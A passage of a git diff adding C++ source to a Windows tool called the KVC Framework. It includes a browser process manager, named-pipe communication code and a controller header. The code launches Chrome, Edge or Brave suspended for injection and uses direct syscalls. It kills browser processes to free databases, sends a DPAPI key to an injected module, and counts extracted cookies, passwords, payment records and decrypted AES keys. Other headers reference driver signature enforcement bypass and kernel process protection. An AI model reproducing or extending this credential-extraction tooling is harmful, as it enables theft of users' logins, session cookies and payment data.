||||
{
|
||||
public:
|
||||
TargetProcess(const Configuration& config, const Console& console);
|
||||
|
||||
// Creates browser process in suspended state for injection
|
||||
void createSuspended();
|
||||
|
||||
// Terminates the target process using direct syscall
|
||||
void terminate();
|
||||
|
||||
HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); }
|
||||
|
||||
private:
|
||||
// Validates architecture compatibility between orchestrator and target
|
||||
void checkArchitecture();
|
||||
const char* getArchName(USHORT arch) const noexcept;
|
||||
|
||||
const Configuration& m_config;
|
||||
const Console& m_console;
|
||||
DWORD m_pid = 0;
|
||||
UniqueHandle m_hProcess;
|
||||
UniqueHandle m_hThread;
|
||||
USHORT m_arch = 0;
|
||||
};
|
||||
|
||||
// Terminates all running browser processes to release database file locks
|
||||
void KillBrowserProcesses(const Configuration& config, const Console& console);
|
||||
|
||||
// Terminates browser network service which often holds database locks
|
||||
void KillBrowserNetworkService(const Configuration& config, const Console& console);
|
||||
|
||||
// Checks availability of Windows native SQLite library
|
||||
bool CheckWinSQLite3Available();
|
||||
|
||||
#endif // BROWSER_PROCESS_MANAGER_H
|
||||
436
kvc/CommunicationLayer.cpp
Normal file
436
kvc/CommunicationLayer.cpp
Normal file
@@ -0,0 +1,436 @@
|
||||
// CommunicationLayer.cpp - Console and pipe communication implementation
|
||||
#include "CommunicationLayer.h"
|
||||
#include "syscalls.h"
|
||||
#include <ShlObj.h>
|
||||
#include <Rpc.h>
|
||||
#include <iostream>
|
||||
#include <algorithm>
|
||||
|
||||
#pragma comment(lib, "Rpcrt4.lib")
|
||||
|
||||
constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 10000;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
// Utility function implementations
|
||||
namespace Utils
|
||||
{
|
||||
std::string u8string_to_string(const std::u8string& u8str) noexcept
|
||||
{
|
||||
return {reinterpret_cast<const char*>(u8str.c_str()), u8str.size()};
|
||||
}
|
||||
|
||||
std::string path_to_api_string(const fs::path& path)
|
||||
{
|
||||
return u8string_to_string(path.u8string());
|
||||
}
|
||||
|
||||
fs::path GetLocalAppDataPath()
|
||||
{
|
||||
PWSTR path = nullptr;
|
||||
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
||||
{
|
||||
fs::path result = path;
|
||||
CoTaskMemFree(path);
|
||||
return result;
|
||||
}
|
||||
throw std::runtime_error("Failed to get Local AppData path.");
|
||||
}
|
||||
|
||||
std::string WStringToUtf8(std::wstring_view w_sv)
|
||||
{
|
||||
if (w_sv.empty()) return {};
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
|
||||
nullptr, 0, nullptr, nullptr);
|
||||
std::string utf8_str(size_needed, '\0');
|
||||
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()),
|
||||
&utf8_str[0], size_needed, nullptr, nullptr);
|
||||
return utf8_str;
|
||||
}
|
||||
|
||||
std::string PtrToHexStr(const void* ptr) noexcept
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "0x" << std::hex << reinterpret_cast<uintptr_t>(ptr);
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
std::string NtStatusToString(NTSTATUS status) noexcept
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "0x" << std::hex << status;
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
std::wstring GenerateUniquePipeName()
|
||||
{
|
||||
UUID uuid;
|
||||
UuidCreate(&uuid);
|
||||
wchar_t* uuidStrRaw = nullptr;
|
||||
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
|
||||
std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw);
|
||||
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
|
||||
return pipeName;
|
||||
}
|
||||
|
||||
std::string Capitalize(const std::string& str)
|
||||
{
|
||||
if (str.empty()) return str;
|
||||
std::string result = str;
|
||||
result[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(result[0])));
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
// Console implementation
|
||||
Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
|
||||
{
|
||||
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
|
||||
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
|
||||
m_originalAttributes = consoleInfo.wAttributes;
|
||||
}
|
||||
|
||||
void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||
void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||
void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
|
||||
void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
|
||||
|
||||
void Console::Debug(const std::string& msg) const
|
||||
{
|
||||
if (m_verbose)
|
||||
print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN);
|
||||
}
|
||||
|
||||
void Console::Relay(const std::string& message) const
|
||||
{
|
||||
size_t tagStart = message.find('[');
|
||||
size_t tagEnd = message.find(']', tagStart);
|
||||
|
||||
if (tagStart != std::string::npos && tagEnd != std::string::npos)
|
||||
{
|
||||
std::cout << message.substr(0, tagStart);
|
||||
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
|
||||
|
||||
WORD color = m_originalAttributes;
|
||||
if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY;
|
||||
else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||
|
||||
SetColor(color);
|
||||
std::cout << tag;
|
||||
ResetColor();
|
||||
std::cout << message.substr(tagEnd + 1) << std::endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cout << message << std::endl;
|
||||
}
|
||||
}
|
||||
|
||||
void Console::print(const std::string& tag, const std::string& msg, WORD color) const
|
||||
{
|
||||
SetColor(color);
|
||||
std::cout << tag;
|
||||
ResetColor();
|
||||
std::cout << " " << msg << std::endl;
|
||||
}
|
||||
|
||||
void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); }
|
||||
void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
|
||||
|
||||
// PipeCommunicator implementation
|
||||
PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console)
|
||||
: m_pipeName(pipeName), m_console(console) {}
|
||||
|
||||
void PipeCommunicator::create()
|
||||
{
|
||||
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, 4096, 4096, 0, nullptr));
|
||||
if (!m_pipeHandle)
|
||||
throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError()));
|
||||
|
||||
m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName));
|
||||
}
|
||||
|
||||
void PipeCommunicator::waitForClient()
|
||||
{
|
||||
m_console.Debug("Waiting for security module to connect to named pipe.");
|
||||
if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED)
|
||||
throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError()));
|
||||
|
||||
m_console.Debug("Security module connected to named pipe.");
|
||||
}
|
||||
|
||||
void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey)
|
||||
{
|
||||
writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE");
|
||||
writeMessage(Utils::path_to_api_string(outputPath));
|
||||
|
||||
// Send DPAPI key as hex string (or "NONE" if empty)
|
||||
if (!edgeDpapiKey.empty())
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << std::hex << std::setfill('0');
|
||||
for (uint8_t byte : edgeDpapiKey)
|
||||
oss << std::setw(2) << static_cast<int>(byte);
|
||||
writeMessage("DPAPI_KEY:" + oss.str());
|
||||
}
|
||||
else
|
||||
{
|
||||
writeMessage("DPAPI_KEY:NONE");
|
||||
}
|
||||
}
|
||||
|
||||
void PipeCommunicator::relayMessages()
|
||||
{
|
||||
m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")");
|
||||
|
||||
std::cout << std::endl;
|
||||
|
||||
const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||
DWORD startTime = GetTickCount();
|
||||
std::string accumulatedData;
|
||||
char buffer[4096];
|
||||
bool completed = false;
|
||||
|
||||
while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS))
|
||||
{
|
||||
DWORD bytesAvailable = 0;
|
||||
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
|
||||
{
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||
break;
|
||||
m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError()));
|
||||
break;
|
||||
}
|
||||
|
||||
if (bytesAvailable == 0)
|
||||
{
|
||||
Sleep(100);
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
|
||||
{
|
||||
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
|
||||
accumulatedData.append(buffer, bytesRead);
|
||||
|
||||
size_t messageStart = 0;
|
||||
size_t nullPos;
|
||||
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
|
||||
{
|
||||
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
|
||||
messageStart = nullPos + 1;
|
||||
|
||||
if (message == moduleCompletionSignal)
|
||||
{
|
||||
m_console.Debug("Security module completion signal received.");
|
||||
completed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
parseExtractionMessage(message);
|
||||
|
||||
if (!message.empty())
|
||||
m_console.Relay(message);
|
||||
}
|
||||
|
||||
if (completed)
|
||||
break;
|
||||
|
||||
accumulatedData.erase(0, messageStart);
|
||||
}
|
||||
|
||||
std::cout << std::endl;
|
||||
|
||||
m_console.Debug("Security module signaled completion or pipe interaction ended.");
|
||||
}
|
||||
|
||||
void PipeCommunicator::writeMessage(const std::string& msg)
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
|
||||
bytesWritten != (msg.length() + 1))
|
||||
throw std::runtime_error("WriteFile to pipe failed for message: " + msg);
|
||||
|
||||
FlushFileBuffers(m_pipeHandle.get());
|
||||
|
||||
m_console.Debug("Sent message to pipe: " + msg);
|
||||
}
|
||||
|
||||
void PipeCommunicator::parseExtractionMessage(const std::string& message)
|
||||
{
|
||||
auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int
|
||||
{
|
||||
size_t start = message.find(prefix);
|
||||
if (start == std::string::npos) return 0;
|
||||
start += prefix.length();
|
||||
size_t end = message.find(suffix, start);
|
||||
if (end == std::string::npos) return 0;
|
||||
|
||||
try {
|
||||
return std::stoi(message.substr(start, end - start));
|
||||
}
|
||||
catch (...) {
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos)
|
||||
m_stats.profileCount = extractNumber("Found ", " profile(s)");
|
||||
|
||||
if (message.find("Decrypted AES Key: ") != std::string::npos)
|
||||
m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19);
|
||||
|
||||
if (message.find(" cookies extracted to ") != std::string::npos)
|
||||
m_stats.totalCookies += extractNumber("[*] ", " cookies");
|
||||
|
||||
if (message.find(" passwords extracted to ") != std::string::npos)
|
||||
m_stats.totalPasswords += extractNumber("[*] ", " passwords");
|
||||
|
||||
if (message.find(" payments extracted to ") != std::string::npos)
|
||||
m_stats.totalPayments += extractNumber("[*] ", " payments");
|
||||
}
|
||||
|
||||
// BrowserPathResolver implementation
|
||||
BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {}
|
||||
|
||||
std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName)
|
||||
{
|
||||
m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName));
|
||||
|
||||
const std::wstring registryPaths[] = {
|
||||
L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName,
|
||||
L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName
|
||||
};
|
||||
|
||||
for (const auto& regPath : registryPaths)
|
||||
{
|
||||
std::wstring path = queryRegistryDefaultValue(regPath);
|
||||
if (!path.empty() && fs::exists(path))
|
||||
{
|
||||
m_console.Debug("Found at: " + Utils::WStringToUtf8(path));
|
||||
return path;
|
||||
}
|
||||
}
|
||||
|
||||
m_console.Debug("Not found in Registry");
|
||||
return L"";
|
||||
}
|
||||
|
||||
std::vector<std::pair<std::wstring, std::wstring>> BrowserPathResolver::findAllInstalledBrowsers()
|
||||
{
|
||||
std::vector<std::pair<std::wstring, std::wstring>> installedBrowsers;
|
||||
|
||||
const std::pair<std::wstring, std::wstring> supportedBrowsers[] = {
|
||||
{L"chrome", L"chrome.exe"},
|
||||
{L"edge", L"msedge.exe"},
|
||||
{L"brave", L"brave.exe"}
|
||||
};
|
||||
|
||||
m_console.Debug("Enumerating installed browsers...");
|
||||
|
||||
for (const auto& [browserType, exeName] : supportedBrowsers)
|
||||
{
|
||||
std::wstring path = resolve(exeName);
|
||||
if (!path.empty())
|
||||
{
|
||||
installedBrowsers.push_back({browserType, path});
|
||||
m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) +
|
||||
" at: " + Utils::WStringToUtf8(path));
|
||||
}
|
||||
}
|
||||
|
||||
if (installedBrowsers.empty())
|
||||
m_console.Warn("No supported browsers found installed on this system");
|
||||
else
|
||||
m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process");
|
||||
|
||||
return installedBrowsers;
|
||||
}
|
||||
|
||||
std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath)
|
||||
{
|
||||
std::vector<wchar_t> pathBuffer(keyPath.begin(), keyPath.end());
|
||||
pathBuffer.push_back(L'\0');
|
||||
|
||||
UNICODE_STRING_SYSCALLS keyName;
|
||||
keyName.Buffer = pathBuffer.data();
|
||||
keyName.Length = static_cast<USHORT>(keyPath.length() * sizeof(wchar_t));
|
||||
keyName.MaximumLength = static_cast<USHORT>(pathBuffer.size() * sizeof(wchar_t));
|
||||
|
||||
OBJECT_ATTRIBUTES objAttr;
|
||||
InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
|
||||
|
||||
HANDLE hKey = nullptr;
|
||||
NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND
|
||||
m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status));
|
||||
return L"";
|
||||
}
|
||||
|
||||
// RAII guard for key handle
|
||||
struct KeyGuard {
|
||||
HANDLE h;
|
||||
~KeyGuard() { if (h) NtClose_syscall(h); }
|
||||
} keyGuard{hKey};
|
||||
|
||||
UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr};
|
||||
ULONG bufferSize = 4096;
|
||||
std::vector<BYTE> buffer(bufferSize);
|
||||
ULONG resultLength = 0;
|
||||
|
||||
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
|
||||
buffer.data(), bufferSize, &resultLength);
|
||||
|
||||
if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW)
|
||||
{
|
||||
buffer.resize(resultLength);
|
||||
bufferSize = resultLength;
|
||||
status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation,
|
||||
buffer.data(), bufferSize, &resultLength);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
return L"";
|
||||
|
||||
auto kvpi = reinterpret_cast<PKEY_VALUE_PARTIAL_INFORMATION>(buffer.data());
|
||||
|
||||
if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ)
|
||||
return L"";
|
||||
if (kvpi->DataLength < sizeof(wchar_t) * 2)
|
||||
return L"";
|
||||
|
||||
size_t charCount = kvpi->DataLength / sizeof(wchar_t);
|
||||
std::wstring path(reinterpret_cast<wchar_t*>(kvpi->Data), charCount);
|
||||
|
||||
while (!path.empty() && path.back() == L'\0')
|
||||
path.pop_back();
|
||||
|
||||
if (path.empty())
|
||||
return L"";
|
||||
|
||||
if (kvpi->Type == REG_EXPAND_SZ)
|
||||
{
|
||||
std::vector<wchar_t> expanded(MAX_PATH * 2);
|
||||
DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(),
|
||||
static_cast<DWORD>(expanded.size()));
|
||||
if (size > 0 && size <= expanded.size())
|
||||
path = std::wstring(expanded.data());
|
||||
}
|
||||
|
||||
return path;
|
||||
}
|
||||
111
kvc/CommunicationLayer.h
Normal file
111
kvc/CommunicationLayer.h
Normal file
@@ -0,0 +1,111 @@
|
||||
// CommunicationLayer.h - Console output and inter-process communication
|
||||
#ifndef COMMUNICATION_LAYER_H
|
||||
#define COMMUNICATION_LAYER_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <filesystem>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <sstream>
|
||||
#include "BannerSystem.h"
|
||||
#include "BrowserHelp.h"
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Utility functions for string and path operations
|
||||
namespace Utils
|
||||
{
|
||||
std::string u8string_to_string(const std::u8string& u8str) noexcept;
|
||||
std::string path_to_api_string(const fs::path& path);
|
||||
fs::path GetLocalAppDataPath();
|
||||
std::string WStringToUtf8(std::wstring_view w_sv);
|
||||
std::string PtrToHexStr(const void* ptr) noexcept;
|
||||
std::string NtStatusToString(NTSTATUS status) noexcept;
|
||||
std::wstring GenerateUniquePipeName();
|
||||
std::string Capitalize(const std::string& str);
|
||||
}
|
||||
|
||||
// Manages console output with colored messages
|
||||
class Console
|
||||
{
|
||||
public:
|
||||
explicit Console(bool verbose);
|
||||
|
||||
void Info(const std::string& msg) const;
|
||||
void Success(const std::string& msg) const;
|
||||
void Error(const std::string& msg) const;
|
||||
void Warn(const std::string& msg) const;
|
||||
void Debug(const std::string& msg) const;
|
||||
void Relay(const std::string& message) const;
|
||||
|
||||
bool m_verbose;
|
||||
|
||||
private:
|
||||
void print(const std::string& tag, const std::string& msg, WORD color) const;
|
||||
void SetColor(WORD attributes) const noexcept;
|
||||
void ResetColor() const noexcept;
|
||||
|
||||
HANDLE m_hConsole;
|
||||
WORD m_originalAttributes;
|
||||
};
|
||||
|
||||
// Handles named pipe communication with injected module
|
||||
class PipeCommunicator
|
||||
{
|
||||
public:
|
||||
struct ExtractionStats
|
||||
{
|
||||
int totalCookies = 0;
|
||||
int totalPasswords = 0;
|
||||
int totalPayments = 0;
|
||||
int profileCount = 0;
|
||||
std::string aesKey;
|
||||
};
|
||||
|
||||
PipeCommunicator(const std::wstring& pipeName, const Console& console);
|
||||
|
||||
void create();
|
||||
void waitForClient();
|
||||
void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector<uint8_t>& edgeDpapiKey = {});
|
||||
void relayMessages();
|
||||
|
||||
const ExtractionStats& getStats() const noexcept { return m_stats; }
|
||||
const std::wstring& getName() const noexcept { return m_pipeName; }
|
||||
|
||||
private:
|
||||
// RAII wrapper for pipe handle
|
||||
struct PipeDeleter
|
||||
{
|
||||
void operator()(HANDLE h) const noexcept
|
||||
{
|
||||
if (h != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(h);
|
||||
}
|
||||
};
|
||||
using UniquePipe = std::unique_ptr<void, PipeDeleter>;
|
||||
|
||||
void writeMessage(const std::string& msg);
|
||||
void parseExtractionMessage(const std::string& message);
|
||||
|
||||
std::wstring m_pipeName;
|
||||
const Console& m_console;
|
||||
UniquePipe m_pipeHandle;
|
||||
ExtractionStats m_stats;
|
||||
};
|
||||
|
||||
// Resolves browser installation paths via Registry
|
||||
class BrowserPathResolver
|
||||
{
|
||||
public:
|
||||
explicit BrowserPathResolver(const Console& console);
|
||||
|
||||
std::wstring resolve(const std::wstring& browserExeName);
|
||||
std::vector<std::pair<std::wstring, std::wstring>> findAllInstalledBrowsers();
|
||||
|
||||
private:
|
||||
std::wstring queryRegistryDefaultValue(const std::wstring& keyPath);
|
||||
|
||||
const Console& m_console;
|
||||
};
|
||||
|
||||
#endif // COMMUNICATION_LAYER_H
|
||||
103
kvc/CommunicationModule.cpp
Normal file
103
kvc/CommunicationModule.cpp
Normal file
@@ -0,0 +1,103 @@
|
||||
// CommunicationModule.cpp - Pipe communication and utility functions
|
||||
#include "CommunicationModule.h"
|
||||
#include <ShlObj.h>
|
||||
#include <Wincrypt.h>
|
||||
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
namespace Utils
|
||||
{
|
||||
// Retrieves Local AppData path
|
||||
fs::path GetLocalAppDataPath()
|
||||
{
|
||||
PWSTR path = nullptr;
|
||||
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
|
||||
{
|
||||
fs::path result = path;
|
||||
CoTaskMemFree(path);
|
||||
return result;
|
||||
}
|
||||
throw std::runtime_error("Failed to get Local AppData path.");
|
||||
}
|
||||
|
||||
// Decodes Base64 string into byte vector
|
||||
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
|
||||
{
|
||||
DWORD size = 0;
|
||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
||||
return std::nullopt;
|
||||
|
||||
std::vector<uint8_t> data(size);
|
||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
|
||||
return std::nullopt;
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Converts byte array to hex string
|
||||
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << std::hex << std::setfill('0');
|
||||
for (uint8_t byte : bytes)
|
||||
oss << std::setw(2) << static_cast<int>(byte);
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
// Escapes JSON special characters
|
||||
std::string EscapeJson(const std::string& s)
|
||||
{
|
||||
std::ostringstream o;
|
||||
for (char c : s)
|
||||
{
|
||||
switch (c)
|
||||
{
|
||||
case '"': o << "\\\""; break;
|
||||
case '\\': o << "\\\\"; break;
|
||||
case '\b': o << "\\b"; break;
|
||||
case '\f': o << "\\f"; break;
|
||||
case '\n': o << "\\n"; break;
|
||||
case '\r': o << "\\r"; break;
|
||||
case '\t': o << "\\t"; break;
|
||||
default:
|
||||
if ('\x00' <= c && c <= '\x1f')
|
||||
{
|
||||
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
|
||||
}
|
||||
else
|
||||
{
|
||||
o << c;
|
||||
}
|
||||
}
|
||||
}
|
||||
return o.str();
|
||||
}
|
||||
}
|
||||
|
||||
// PipeLogger implementation
|
||||
PipeLogger::PipeLogger(LPCWSTR pipeName)
|
||||
{
|
||||
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
|
||||
}
|
||||
|
||||
PipeLogger::~PipeLogger()
|
||||
{
|
||||
if (m_pipe != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
|
||||
FlushFileBuffers(m_pipe);
|
||||
CloseHandle(m_pipe);
|
||||
}
|
||||
}
|
||||
|
||||
void PipeLogger::Log(const std::string& message)
|
||||
{
|
||||
if (isValid())
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
|
||||
}
|
||||
}
|
||||
}
|
||||
58
kvc/CommunicationModule.h
Normal file
58
kvc/CommunicationModule.h
Normal file
@@ -0,0 +1,58 @@
|
||||
// CommunicationModule.h - Inter-process communication and utilities
|
||||
#ifndef COMMUNICATION_MODULE_H
|
||||
#define COMMUNICATION_MODULE_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <optional>
|
||||
#include <filesystem>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// String utility functions for internal module use
|
||||
namespace StringUtils
|
||||
{
|
||||
inline std::string path_to_string(const fs::path& path)
|
||||
{
|
||||
return path.string();
|
||||
}
|
||||
}
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
// Utility functions for encoding and formatting
|
||||
namespace Utils
|
||||
{
|
||||
// Retrieves Local AppData directory path
|
||||
fs::path GetLocalAppDataPath();
|
||||
|
||||
// Decodes Base64 encoded string
|
||||
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input);
|
||||
|
||||
// Converts bytes to hexadecimal string
|
||||
std::string BytesToHexString(const std::vector<uint8_t>& bytes);
|
||||
|
||||
// Escapes special characters for JSON serialization
|
||||
std::string EscapeJson(const std::string& s);
|
||||
}
|
||||
|
||||
// Manages named pipe communication with orchestrator
|
||||
class PipeLogger
|
||||
{
|
||||
public:
|
||||
explicit PipeLogger(LPCWSTR pipeName);
|
||||
~PipeLogger();
|
||||
|
||||
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
|
||||
void Log(const std::string& message);
|
||||
HANDLE getHandle() const noexcept { return m_pipe; }
|
||||
|
||||
private:
|
||||
HANDLE m_pipe = INVALID_HANDLE_VALUE;
|
||||
};
|
||||
}
|
||||
|
||||
#endif // COMMUNICATION_MODULE_H
|
||||
215
kvc/Controller.h
215
kvc/Controller.h
@@ -1,27 +1,36 @@
|
||||
// Controller.h
|
||||
// Main orchestration class for KVC Framework operations
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "SessionManager.h"
|
||||
#include "kvcDrv.h"
|
||||
#include "DSEBypass.h"
|
||||
#include "OffsetFinder.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include "Utils.h"
|
||||
#include "WatermarkManager.h"
|
||||
#include <vector>
|
||||
#include <memory>
|
||||
#include <optional>
|
||||
#include <chrono>
|
||||
#include <unordered_map>
|
||||
|
||||
class ReportExporter;
|
||||
|
||||
// Core kernel process structures
|
||||
// Kernel process structure representation
|
||||
struct ProcessEntry
|
||||
{
|
||||
ULONG_PTR KernelAddress; // EPROCESS structure address
|
||||
DWORD Pid; // Process identifier
|
||||
UCHAR ProtectionLevel; // PP/PPL/None protection level
|
||||
UCHAR SignerType; // Digital signature authority
|
||||
UCHAR SignatureLevel; // Executable signature verification level
|
||||
UCHAR SectionSignatureLevel; // DLL signature verification level
|
||||
std::wstring ProcessName; // Process executable name
|
||||
ULONG_PTR KernelAddress;
|
||||
DWORD Pid;
|
||||
UCHAR ProtectionLevel;
|
||||
UCHAR SignerType;
|
||||
UCHAR SignatureLevel;
|
||||
UCHAR SectionSignatureLevel;
|
||||
std::wstring ProcessName;
|
||||
};
|
||||
|
||||
// Process search result
|
||||
struct ProcessMatch
|
||||
{
|
||||
DWORD Pid = 0;
|
||||
@@ -29,7 +38,7 @@ struct ProcessMatch
|
||||
ULONG_PTR KernelAddress = 0;
|
||||
};
|
||||
|
||||
// WinSQLite dynamic loading for browser database operations
|
||||
// SQLite function pointers for browser operations
|
||||
struct SQLiteAPI
|
||||
{
|
||||
HMODULE hModule = nullptr;
|
||||
@@ -43,30 +52,31 @@ struct SQLiteAPI
|
||||
int (*close_v2)(void*) = nullptr;
|
||||
};
|
||||
|
||||
// Password extraction result structure
|
||||
// Password extraction result
|
||||
struct PasswordResult
|
||||
{
|
||||
std::wstring type; // Chrome, Edge, WiFi credential type
|
||||
std::wstring profile; // Browser/WiFi profile name
|
||||
std::wstring url; // URL for browser logins
|
||||
std::wstring username; // Login username
|
||||
std::wstring password; // Decrypted password
|
||||
std::wstring file; // Source file path
|
||||
std::wstring data; // Additional data
|
||||
std::wstring status; // DECRYPTED, ENCRYPTED, FAILED
|
||||
uintmax_t size = 0; // Data size in bytes
|
||||
std::wstring type;
|
||||
std::wstring profile;
|
||||
std::wstring url;
|
||||
std::wstring username;
|
||||
std::wstring password;
|
||||
std::wstring file;
|
||||
std::wstring data;
|
||||
std::wstring status;
|
||||
